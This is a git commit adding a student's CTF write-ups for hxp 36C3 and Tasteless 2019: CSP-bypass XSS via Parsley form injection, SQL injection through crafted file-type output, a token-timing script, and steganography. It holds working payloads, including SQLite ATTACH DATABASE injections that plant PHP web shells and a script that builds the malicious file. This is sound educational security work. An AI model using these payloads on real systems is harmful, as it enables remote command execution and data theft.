add writeups
authorDaniel Haider <e01429078@student.tuwien.ac.at>
Mon, 13 Jan 2020 17:19:46 +0000 (17:19 +0000)
committerDaniel Haider <e01429078@student.tuwien.ac.at>
Mon, 13 Jan 2020 17:19:46 +0000 (17:19 +0000)
writeups/ferdl/hxp_36c3.md [new file with mode: 0644]
writeups/ferdl/spent_time.md [new file with mode: 0644]
writeups/ferdl/tasteless2019.md [new file with mode: 0644]

diff --git a/writeups/ferdl/hxp_36c3.md b/writeups/ferdl/hxp_36c3.md
new file mode 100644 (file)
index 0000000..4c1e372
--- /dev/null
@@ -0,0 +1,213 @@
+# Retrospective
+The hxp 36C3 ctf contest was a very well organised one, although the time (2019-12-27 - 2019-12-29) was not ideal
+for me so I couldn't spend that much time actually participating during the CTF.
+
+However, after getting some initial footholds in some of the challenges it was more than interesting to read up
+on the writeups to see where I went into the right direction and where I was completely wrong.
+# Attempted Challenges
+
+## web-WriteupBin
+
+This is a service where one can Publish a Writeup with at least 140 characters.
+After submitting it, the writeup gets a random ID (e.g. b2f9cf1d5be42d24) and
+is reachable at `http://78.46.216.67:8001/show.php?id=b2f9cf1d5be42d24`.
+It can be liked by other users and shown to the admin. The input is checked for
+the characters `<` and `>`, if it contains any of them the input is invalid.
+
+There is one cookie present, PHPSESSID and the username is tied to it.
+Upon deleting the cookie, one gets a new random username assigned.
+
+The CSP header is the following:
+`Content-Security-Policy: default-src 'none'; script-src 'nonce-ZDljYWY4Y2Q4NGU2NzE1Mw==' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.0/jquery.min.js https://cdnjs.cloudflare.com/ajax/libs/parsley.js/2.8.2/parsley.min.js; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; require-sri-for script style;`
+
+Nothing obvious stands out so far...
+
+I tried circumventing the frontend validation using curl, which worked:
+
+```
+curl 'http://78.46.216.67:8001/add.php' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Upgrade-Insecure-Requests: 1' -H 'Origin: null' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6,ro;q=0.5' -H 'Cookie: PHPSESSID=ffeh8ono3qi73qot4bttann27i' --data 'c=f63d858d616898df&content=No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.%0D%0A<script>alert('test')</script>' --compressed --insecure
+```
+
+However, the script got blocked because of the CSP.
+
+I thought about the gabbr challenge from tasteless where we had to leak the
+nonce value with style injections
+(https://w0y.at/writeup/2019/10/27/tasteless-2019-gabbr.html), but this isn't
+possible here due to the fact that the CSP blocks all style and image sources.
+
+Another colleague also pointed out this meta header in the html:
+`<meta name="description" content="WriteupBin - Leak flags with style!">`
+
+It might also suggest using some style injection to leak the nonce but I couldn't
+figure out anything which would actually work given the limited possibilities.
+
+I also looked at some of the nonces to see whether they would not be random,
+but they did seem to be truly random...
+
+Looking back at the html form there is an additional hidden field 'c' which is
+also tied to the session.
+
+Investigating the source code it is used as some kind of csrf protection:
+```
+if( (strtoupper($_SERVER['REQUEST_METHOD']) == 'POST' || count($_POST))  && (! hash_equals($_SESSION['c'], $_POST['c']))) {
+    die('csrf failed');
+}
+```
+
+I tried finding any CSP bypasses related to the parsley library but could not
+find anything useful.
+On the show page where we could inject some fields with parsley attributes
+there's no parsley used and on the main page where parsley is used on the
+`#publish-form` the injected html won't be displayed so no chance there.
+
+### After the ctf
+
+After the CTF I read some writeups and the intended solution indeed was using the parsley library (https://ctftime.org/writeup/17891)
+I didn't think about injecting a custom form which gets validated automatically... 🤦‍
+
+To get the flag one has to know the following things:
+ - The flag was stored in a writeup published by the admin
+ - When viewing **any** writeup, all your own published writeups are rendered on the page with their ID
+ - Everyone can view any writeups
+ - When you show the admin your writeup he likes it, more specifically he presses the first button in the DOM
+   with the id 'like'
+
+Because of those three points it was clear that we had to leak the ID(s) of the admin's published writeup(s)  
+I knew already how to inject arbitrary HTML code, now it was just using the right parsley methods to:
+ - place a button with ID 'like' **before** the actual like button
+ - Use a jquery selector to trigger different events based on the presence of a character in the rendered own writeups
+Doing this serves as an oracle with which we can leak the admin's writeups character by character.
+The useful parsley methods with which we can achieve this are the following:
+
+- `data-parsley-errors-container` This specifies the container in which error messages when validating an input are shown
+- `data-parsley-error-message` This specifies the error message which gets rendered when a validation fails
+- `data-parsley-trigger` With this we can achieve the validation **before** the admin clicks the actual like button
+
+The form we inject looks like this:
+```
+<form data-parsley-validate>
+  <input type="text">
+  <input type="text" id="like" data-parsley-trigger="blur" autofocus name="some-field"
+    data-parsley-error-message="<input id=like type=button>"
+    data-parsley-required data-parsley-errors-container="a:contains('Writeup - {payload}'):eq(0)" />
+</form>
+```
+
+This renders a form which gets validated with the trigger blur, i.e. after the element looses its focus.
+Because it also has autofocus on it, it will be rendered very early, which is important because it has to be validated
+before the admin clicks on the actual like button.
+
+The validation will always fail because it has `data-parsley-required` and the field will always be empty.
+Using the `data-parsley-errors-container` in conduction with the `a:contains('Writeup - {payload}'):eq(0)`
+a like button is placed under the writeup link if the payload matches. This like button will be placed before the
+actual like button, so if the guessed character is correct, the admin will press this like button instead of the
+real one. If the guessed character is not correct, the real like button will be pressed and our writeup will be liked.
+Because of those two differing behaviours the ID can be leaked character by character.
+
+## web-FileMagician
+
+Because I got stuck with the WriteupBin challenge I went on to the next web challenge.
+
+FileMagician is a very simple file hosting solution. Upon visiting the website
+(http://78.47.152.131:8000/) one is presented with a file chooser button and
+an upload button.
+
+The source code was also given for this challenge. The interesting part of it is the sql
+query for inserting the uploaded file into the database:
+```
+if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){
+    $s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
+    $db->exec($s);
+    move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file');
+}
+```
+
+This looks very much like an SQL Injection is possible if one can manipulate the output of PHP's
+finfo_file() command.
+
+I read the documentation on the command but could not find anything useful. I also fiddled around
+with symlinks because someone mentioned it in the mattermost channel but all I could do with that
+is trigger the `die('move_upload_file')` command.
+
+I came back later and someone already solved it with an SQL injection through a specially crafted magic
+file:
+
+```
+content = open("closing.sid", "rb").read()
+
+exploit = [_ for _ in content]
+
+#payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;CREATE TABLE k.b (c text);-- -" # works!!!
+payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;DELETE FROM k.b;--" # works!!!
+#payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;INSERT INTO k.b VALUES('<?=`$_GET[x]`;?>" # works!!!
+offset = content.find("1990")
+
+for char in payload:
+    exploit[offset] = char
+    offset += 1
+
+exploit[offset] = '\x00'
+
+open("exploit.sid", "w+b").write("".join(exploit))
+``` 
+
+### After the CTF
+
+Although we had solved this challenge during the CTF it was not totally clear to me how it worked.
+So again, I read up on some writeups after the ctf was over. 
+
+I already knew that I had to manipulate the file in such a way that the `file` command would inject some SQL.
+Apparently there are lots of different possibilities in doing so:
+
+#### jpg
+When doing the `file` command on a jpg the exif image data is printed as well.
+A jpg can be created with the command `convert -size 32x32 xc:white empty.jpg` from ImageMagick.
+
+This results in the following output of `file empty.jpg`:
+```
+empty.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 32x32, components 1
+```
+However, if we add a comment with `exiftool -Comment="hello injection" empty.jpg` it will be printed in the file output as well:
+```
+empty.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "hello injection", baseline, precision 8, 32x32, components 1
+```
+#### gz
+In gz the original filename is included when the file command is used: `touch temp && gzip temp && file temp.gz` prints
+```
+temp.gz: gzip compressed data, was "temp", last modified: Mon Jan 13 16:01:06 2020, from Unix, original size modulo 2^32 0
+```
+Notice the 'was "temp"'. This string can simply be changed in any file editor to include our SQL injection. 
+#### shebang
+Another solution to let the file command print arbitrary strings is using a shebang: A normal python shebang `#!/bin/usr/env python`
+will be printed like this when using the file command:
+```
+temp: a /bin/usr/env python script, ASCII text executable
+```
+Thus, if we use another shebang, i.e. `#!/hello injection` we can inject an arbitrary string:
+```
+temp: a /hello injection script, ASCII text executable
+```
+
+#### Exploit
+Now that we know how to inject our SQL it is time to ask *what* to inject. This site lists some injections for
+SQLite databases: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md
+In SQLite one can reach remote command execution using the `ATTACH DATABASE` directive:
+```
+ATTACH DATABASE '/var/www/lol.php' AS lol;
+CREATE TABLE lol.pwn (dataz text);
+INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
+```
+This attaches (or creates if it doesn't exist) the sqlite database (i.e. the file) `/var/www/lol.php` where a table
+is created and the value `<?system($_GET['cmd']); ?>` is inserted. Upon calling this file via the web browser,
+the php is interpreted and we achieve command execution!
+
+With this it was possible to achieve a little shell via get parameters. Since there was a size limit one had to split the payload into two files:
+```
+');ATTACH DATABASE 'x.php' AS lol; CREATE TABLE lol.pwn (dataz text);--
+');ATTACH DATABASE 'x.php' AS lol; INSERT INTO lol.pwn (dataz) VALUES ('<?=`$_GET[1]`?>');--
+```
+
+It was then possible to call the php file and call arbitrary commands using the GET parameter 1: `1=cat%20/flag*`
diff --git a/writeups/ferdl/spent_time.md b/writeups/ferdl/spent_time.md
new file mode 100644 (file)
index 0000000..8e8967c
--- /dev/null
@@ -0,0 +1,16 @@
+I played 2 on-site ctfs (ructfe and hack.lu) and 2 off-site for which I approximately spent the following hours:
+
+## Tasteless
+
+| Challenge  | Time | 
+| ---------- |:-----| 
+| Gabbr      | 10h  | 
+| RGB        |  5h  | 
+| Timewarp   |  5h  |
+
+## hxp 36C3
+
+| Challenge    | Time | 
+| ------------ |:-----| 
+| WriteupBin   |  15h | 
+| FileMagician |   5h | 
diff --git a/writeups/ferdl/tasteless2019.md b/writeups/ferdl/tasteless2019.md
new file mode 100644 (file)
index 0000000..73ca3ec
--- /dev/null
@@ -0,0 +1,122 @@
+# Retrospective
+Tasteless was a very cool CTF, with very challenging tasks. Although I couldn't contribute too much because
+I don't have that much experience, the skill level was demanding enough to actually learn a lot of new stuff.
+
+The timewarp challenge was also a very interesting (and funny!) one, which I think was the first ctf exploiting the fact of
+the fact that there's a time change happening during the ctf. 
+
+Overall it was a very pleasant experience and I was able to learn a lot of new stuff :)
+# Attempted Challenges
+## web-gabbr
+
+Gabbr is a website implementing a simple chat functionality with WebSockets.
+Every room has a different UUID, e.g. https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d
+If nothing is specified, a new one is generated.
+There also is a report functionality where an admin joins into the room, stays for 15 seconds and then posts an image that there's nothing to see.
+
+The idea is to post some xss (e.g. `<img src=x onerror="alert('lel')"/>`) which the admin then executes, however the CSP doesn't let us execute Javascript:
+`Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'nonce-0f9635147014ab5895de26c6'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.`
+
+So every Javascript code must have the correct <nonce> set in order to be executed.
+We thought long about how to leak the nonce from the website and eventually found this link: https://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
+
+The idea is to inject some css which sets background-url images to a server we control. When the admin then joins the room he will make calls to our server with the characters of the nonce.
+This nonce can then be used to inject the JS to send the admin cookie to us. The comrades further tried to solve this challenge and I went on to some stego challenges.
+
+Next day I came back to this challenge and we managed to solve it!
+The full script which was running can be found here: https://w0y.at/writeup/2019/10/27/tasteless-2019-gabbr.html
+
+## stego-rgb
+RGB was a stego challenge where a pcap network dump was given in which three flags were hidden: r, g and b.
+By analysing the network dump with wireshark I found a GET request to `ctf.tasteless.eu/stegano` which responded with a PNG image file.
+I exported the image out of the dump with wireshark and put it inside Stegsolver. It showed some hints at some color panes which apparently are references to RFC articles:
+```
+Red plane 0:
+2616
+Category: Standards Track
+== HTTP1.1
+Green plane 0:
+2083
+Category: Informational
+== PNG
+Blue plane 0:
+1951
+Category: Informational
+== DEFLATE
+```
+
+I read all the RFC articles trying to find some hints but I couldn't find anything useful.
+After some time a colleague mentioned that it's kind of weird that the response to the GET request where the image is transmitted is chunked.
+The flag is hidden in there!
+Each chunk starts with 1000; followed by a character. By following the TCP stream in wireshark and searching for "1000;" one can easily obtain the flag.
+It was: `tctf{NoB0dy_3xPec7s_chUnK_ex7En5iOnz}`
+
+The next flag was stored in the CRC fields of the IDAT chunks in the PNG image. It was solved by a colleague, however I couldn't gather more information on it from the mattermost channel.
+
+## web-timewarp
+There are 2 endpoints on the website, /token and /timewarp.
+At /token you can get a token which must be submitted at /timewarp, however it is only valid for 5 seconds. When submitting the token the server sends some lines and takes 1 second per line, only after several seconds the message "oh no! too slow! your token is not valid anymore :(" appears.
+
+So we somehow have to make this token valid for a longer period. Let's look at the token:
+```Z2l2ZUZsYWcvRXVyb3BlL0Jlcmxpbg==.U2F0IE9jdCAyNiAxNzowOTo0NCAyMDE5.zCCIicp0CJdsvvoBiR34JHPeEufJej1MwyzfH3x7O_oyWpjftaMM0RFjd7yb4vVxSKG0CkIRaXrZfCgSIG3ADQ==```
+
+which is
+```giveFlag/Europe/Berlin.Sat Oct 26 17:09:44 2019. t\bl\ 1\1d$s\12z=L,\1f|{:7h4DX&\R(m\ 2Z^``` when base64 decoded.
+
+The structure is something like "giveFlag/Timezone.Timestamp.Gibberish"
+
+Obviously we can try to change the time and submit it, however this results in: "oh no! what happened to your integrity?"
+So there's probably a checksum in the gibberish part of the token which we also must manipulate...
+
+So we need to figure out what the gibberish in the token means... but here I got stuck.
+
+Another idea is based on the fact that in the night the daylight's saving time ends which means that the clock is gonna be set back one hour.
+So maybe one can generate a token before the change and then you have a 1-hour window where the token is valid.
+The challenge description "!!! challenge will shutdown at approx 02:30 UTC !!!" also hints at that...
+
+A colleague wrote a script which tried getting a token and submitting it every 10 minutes:
+
+```
+#!/usr/bin/python3
+
+import requests
+import re
+from datetime import datetime
+import time
+
+server = 'http://hitme.tasteless.eu:10101'
+get_token_path = '/token'
+
+def get_token():
+
+    r = requests.get(server + get_token_path)
+    response = r.text
+
+    match = re.search(r'href=\"(.+)\".*', response)
+    if(match):
+        use_token_path = match.groups()[0]
+        return(server + use_token_path)
+    else:
+        return None
+
+def use_token(use_token_url):
+    r = requests.get(use_token_url)
+    response = r.text
+    return response
+
+tokens = {}
+while(datetime.now() < datetime(2019, 10, 27, 4, 15)):
+    if(datetime.now() > datetime(2019,10,27, 1, 50)):
+        new_token = get_token()
+        if(new_token):
+            tokens[datetime.now()] = new_token
+
+        for timestamp in tokens.keys():
+            response = use_token(tokens[timestamp])
+            print("Token acquired at '{0}' lead to the following response when used at '{1}':\n\n{2}\n".format(timestamp, datetime.now(), response))
+    
+        print('------- Going to sleep ------\n\n')
+        time.sleep(60 * 10)
+```
+
+It worked like a charm. However, I think someone else solved it manually first, at least according to the mattermost channel. Unfortunately I wasn't up at that time.